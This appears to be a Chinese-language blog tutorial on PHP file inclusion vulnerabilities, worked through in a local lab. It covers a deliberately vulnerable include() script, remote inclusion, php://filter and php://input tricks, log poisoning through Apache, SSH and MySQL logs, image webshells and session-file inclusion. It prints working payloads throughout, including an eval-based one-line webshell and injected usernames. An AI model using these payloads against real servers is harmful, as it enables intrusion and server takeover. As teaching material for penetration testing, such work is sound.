Web渗透之文件包含漏洞

发布于:2025-04-14 ⋅ 阅读:(13) ⋅ 点赞:(0)

文件包含漏洞原理

1、源代码

<?php

$filename = $_GET['filename'];
include $filename;    //或include_once,require,require_once

echo "欢迎来到PHP的世界.";

?>

2、利用条件

php.ini中alllow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启

用户参数可控且后台代码没有对包含的文件进行过滤

3、利用方式

http://localhost/文件包含-practice/fileinc.php

报错的内容是文件名不能为空,且无法打开,那我们就给上传一个文件名的参数,即

http://localhost/文件包含-practice/fileinc.php?filename=common.php

http://localhost/文件包含-practice/a.php?username=zhangsan&password=123456

http://localhost/文件包含-practice/fileinc.php?filename=a.php

http://localhost/文件包含-practice/fileinc.php?filename=a.php?username=zhangsan&password=123456

回显提示我们传入的filename值为:a.php?username=zhangsan,我们的目的的文件名是a.php,所以就没有找到对应的文件,就会报错,将?改为&即可,回显如下图所示:

http://localhost/文件包含-practice/fileinc.php?filename=a.php&username=zhangsan&password=123456

http://localhost/文件包含-practice/fileinc.php?filename=./login.html

一旦使用include或其他三个文件包含的函数,那么无论包含的文件的后缀名是什么,均会当成PHP代码执行

远程文件包含

1、利用条件

php.ini中allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启

用户参数可控且后台代码没有对包含的文件进行过滤

2、利用方式

http://localhost/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-practice/fileinc.php?filename=http://localhost/review/shell.php?code=phpinfo();

fileinc.php?filename=http://localhost/review/shell.php?code=phpinfo();,该段payload首先执行http://localhost/review/shell.php?code=phpinfo();,回显的内容是第二个主机中的phpinfo,而不是我们想要的,我们可以将shell.php修改为shell.txt,将?修改为&,这样的话不会回显第二个主机中的phpinfo,因为首先读取的是shell.txt中的一句话木马,将一句话木马的内容赋值给$filename,其次才会执行code=phpinfo();,返回的是我们想要的phpinfo

(fileinc.php?filename=http://localhost/review/shell.txt&code=phpinfo();)

PHP伪协议利用

一、伪协议介绍

PHP支持以下几种协议:

file:// -访问本地文件系统
http:// -访问HTTP(S)网址
ftp:// -访问FTP(S) URLS
php:// -访问各个输入/输出流(I/O streams)
zlib:// -压缩流
data:// -数据(RFC 2397)
glob:// -查找匹配的文件路径模式
phar:// -PHP 归档
ssh2:// -Secure Shell 2
rar:// -RAR
ogg:// -音频流
expect:// -处理交互式的流

php://是一种伪协议,主要是开启了一个输入输出流,理解为文件数据传输的一个通道。php中的伪协议常使用的有如下几个:

php://input     php://filter     phar://

二、php://filter

当我们直接包含common.php文件的时候,http://localhost/文件包含-practice/fileinc.php?filename=common.php

虽然代码已经调用,但是因为其是php文档,被web容器解释,导致页面看不到源码内容。

这时候使用php://将我们要读取的文件放在数据流里,然后我们通过伪协议的方式读出来

php://filter/read/convert/base64-encode/resource=common.php
http://localhost/文件包含-practice/fileinc.php?filename=php://filter/read/convert.base64-encode/resource=common.php

这段命令的意思就是打开数据流,把common.php的内容用base64编码的方式读出来

我们执行后,在页面上就能看到一串base64编码的方式,通过工具解码后就能看到明文源码

三、php://input

此方法需要条件,即开启allow_url_include=On。实际上这相当于一个远程包含的利用。

php://打开文件流后,我们直接在流里面写入我们的恶意代码,此时包含既可执行代码。

http://localhost/文件包含-practice/fileinc.php?filename=php://input

然后在POST请求中输入恶意代码,执行包含既可实现恶意代码的执行,比如:

<?php phpinfo(); ?>
<?php system(`ifconfig`); ?>

文件包含漏洞利用

文件包含

程序员对于多次使用的代码或数据,将其封装成一个文件,使用include,require等函数进行包含调用

文件包含漏洞

由于web应用对于用户输入的数据没有进行严格的过滤或没有进行过滤,导致用户输入的数据可以直接接触危险函数include,require等函数,从而使用户或攻击者的文件内容执行,使服务器沦陷。

首先先进入到/opt/lampp/logs,看一下其日志

将access_log和mysql_log给删除掉,然后再重新启动服务,日志文件就会重新生成

访问一下这个网址,发现日志信息中已经被记载啦

访问一下这个网址,发现无法找到对象

查看日志文件,发现多了一条记录

然后去访问一下这个日志,发现已经被包含进去了

我们发现有问题,通过查看原文件可以知道有些符号被转码了,有可能是浏览器先进行转码,然后发送给服务器,服务器如实的将其给记录下来,当浏览器进行访问的时候,服务器将其直接给发送过来了

我们在后面直接跟上一句话木马,然后不要让浏览器进行发送,使用bp抓包,通过bp去发送给服务器

发现日志依旧被转码

从bp中可以得知,是浏览器进行转码的

从bp中进行修改,将被转码的给修改过来

将抓取到的先发送到repeter,然后进行forward

然后再去查看一下日志,发现没有被转码的,大概率有可能成功,但是后面的东西没有了 ,应该是遇到空格就会截断

将空格删除了,然后send

然后去查看日志,发现全部没有被转码,成功写入

然后使用文件包含,给我们回显的内容是400,964,说明已经开始执行php代码了

将只有<?php的日志给删除

然后再去执行一下,给我们回显的内容是找不到phpinfo()这个函数,是因为在日志中函数与<?php和后面的?>连接到了一起,无法查找到这个函数

将转码成功的日志删除掉,进去repeter,将<?php中的php给删除掉,只变成<?phpinfo()?>,然后send,发现日志没有被记录进去,然后无论如何修改,日志都无法记录进去,我们可以重启一下,发现可以被记录进去了

然后send

 发现被记录进去了

然后我们将日志文件包含进去访问一下,利用成功

文件路径如果遇到空格就会被切断的话,还有一个办法就是,在一句话木马两边加上双引号,里边的东西就不会被切断,也可以正常的去写php,也就是<?php @eval($_POST['code']); ?>


然后发送出去

去查看日志,发现写入成功,但是?不见啦。所以我们将后面的空格给删除了,重新发送一遍

发现写入成功,成功构造出了一句话木马,将倒数第二行给删除,如果存在的话就会报错,无法执行我们最新写进去的一句话木马

然后继续执行就可以看到文件包含成功了,phpinfo()被正常的解析

使用菜刀进行连接

成功获取到了权限

利用前提

(1)存在一个文件包含漏洞点

(2)我们有其他可控点可以写入到本地文件

(3)写入的本地文件路径可知或可预测

包含web日志

前期通过信息搜集,得到了相关的服务器信息,比如得知中间件是apache

apache记录web日志的文件有access.log和error.log

这时候我们访问服务器的时候,通过burp修改我们的请求,将恶意代码写在请求内,这时候web日志就会将我们的恶意代码写入到日志文件中。由于日志文件一般来说都说默认的路径,比较容易猜测,这样就满足了我们的本地包含getshell的条件。

比如get请求 get"<?php phpinfo();?>".html

包含登录日志

如果发现一个Linux系统,开放了22端口,同时存在文件包含漏洞。那么我们可以构造恶意登录在ssh登录日志中写入恶意代码。

Linux默认登录日志路径: /var/log/auth.log或/var/log/secure

使用xshell或ssh命令进行ssh登录:ssh"<?php phpinfo(); ?>"@192.68.3.17,此时,登录日志中将出现PHP代码。

如果MySQL开放远程登录,我们也同样可以登录MySQL并包含MySQL日志:mysql -u "<?php phpinfo(); ?>" -p -h 192.168.3.17

在Linux上默认是关闭MySQL日志的,开启MySQL日志:

o+r的权限,就是允许其他用户可读

首先进入到log目录下

其次使用ll查看一下文件的权限等等问题

secure默认日志文件其他账号是不能够进行读取的

在secure日志中找到了能够进行包含的日志文件

进行日志的实时监听,找一找可以使用的点,rhost那儿不行,因为那是我们本机登录的客户端IP地址,然后继续往下看,发现有用户

我们可以在用户这个层面上进行注入,直接输入<?phpinfo();?>发现会报错,我们在两边加上双引号,让它成为一个字符串,然后进行执行

发现执行成功,写了一条日志,用户名在日志中出现了,那么就是一个有效的php代码,然后就可以使用文件包含进行执行这个有效的php代码

进入到mysql的日志信息中去,经过观察,有一些mysql的登录信息

使用远程登录数据库,然后将密码输错,在用户名那儿进行做文章

mysql -u "<?php phpinfo(); ?>" -p -h 192.168.122.188

然后查看mysql的日志,发现有被包含进去的有效的PHP代码

然后在浏览器上访问mysql的日志,发现权限不允许

然后通过ll命令去查看mysql.log的访问权限,mysql的日志文件是由mysql这个用户生成的

我们给其授予o+r的权限,因为我们是root用户,所以可以授权,同时也是我们自己的环境,如果是现实真实环境的话,我们就无法去做到授予权限

然后再去查看mysql.log的日志权限,发现已经有r的权限啦,然后我们就可以进行包含利用啦

然后再继续访问,发现可以包含成功了,成功解析了日志文件中的有效的PHP代码

首先进入到mysql目录下,然后使用ll命令查看文件的权限,我们可以自己创建一个目录,把这个目录当作mysql日志信息的目录,然后修改owner,修改为mysql用户,意思是该mysql的日志信息是由mysql用户写入的,将 log 目录(或文件)的所有者更改为用户 mysql

包含mysql日志

包含mysql一般是在成功访问到MySQL后实现的。攻击者进入MySQL,可以通过数据库查询接口,实现恶意代码的写入mysql日志。方法和原理与包含Web日志相同。比如进入phpmyadmin后台,或者爆破成功进入MySQL。

查看日志文件状态:show varianbles like 'general_log'

写入恶意代码:select "<?php @eval($_POST['code']); ?>",根据日志文件路径即可包含。虽然能够到这一步,已经是渗透测试成功,但是如果Web服务器的权限更高的话,那么可以让Web服务器来包含日志,这样Web Shell就会被高权限账号执行,实现提权。

进入到mysql的日志文件mysql.log,并用tail -f mysql.log进行实时查看

 然后去执行这条mysql命令

找到刚才的SQL语句,里面有一段有效的PHP代码

我们已经能够执行SQL语句,说明我们获得了一个比较高的权限,不存在包含日志,有可能是因为不同账户之间存在一些权限的问题,所以我们就想着用mysql账户去写一条日志,在web浏览器上包含进来,然后可以使用web服务器的权限来执行了,如果web服务器的权限比较高,我们就成功的提权了

包含上传文件

上传的话因为会检查后缀名,导致直接上传可执行文件失败,如果存在文件包含,就可以上传符合服务器的后缀名文件,但是在文件中写入恶意代码。比如使用图片马来进行文件上传,进而再将其包含进来

copy picture.jpg/b + shell.php/a picna.jpg

首先先去找一张图片

使用浏览器去访问一下,图片包含进去就是这个样子,以文本的形式进行输出,所以我们想办法往图片里边插入一句话木马,就变成了图片马

随便去找一张图片

然后还有一个shell.php

 同时打开这两个东西,我们将这两个东西合起来,制作一张图片马,进到该文件所在目录的终端里面

/b是二进制,表示cloud.jpg/b是一个二进制文件,shell.php/a是一个文本,将shell.php加到cloud.jpg的后面,然后复给picma.jpg

发现图片马也是一张图片,没有任何问题

将其用记事本打开,拉到最后面,发现有我们需要的PHP的有效的代码

上传这个图片马,发现上传成功

接下来在文件包含里面包含这个图片马,然后就可以得到phpinfo啦

还可以执行一些其他指令

包含临时文件

临时文件指的是服务器会短暂存储,但是后续很快删除的文件。比如上传检测的时候,某些检测机制会先把上传的文件保存到一个临时文件夹里或沙盒里,临时文件要看具体业务逻辑,而且包含临时文件需要利用条件竞争的方式。动静比较大,容易被发现。

竞争条件的使用方法:

a、使用burpsuite不停的发送上传包

b、我们在文件包含页面不停的尝试包含上传文件,期望恶意文件在被服务器删除之前访问到。

c、一旦包含成功,即使文件被删除,只要shell不断,就可以保持连接

包含session文件

通过cookie可以得知sessionID,session文件默认在服务器中存放的格式是sess_(sessID),而路径也是固定的,大多存在tmp目录下,因此只要找到一个可以控制session文件写入的点,就能利用包含漏洞getshell

让有效的PHP代码写入到session文件当中去

然后把session文件包含进去,只要里面有一段有效的PHP代码,我们就可以直接执行啦,最大的问题就是看看这个网站能不能构造出写session文件的地方,然后我们把代码给写进去,这个session文件是相对路径

我们也可以使用绝对路径


网站公告

今日签到

点亮在社区的每一天
去签到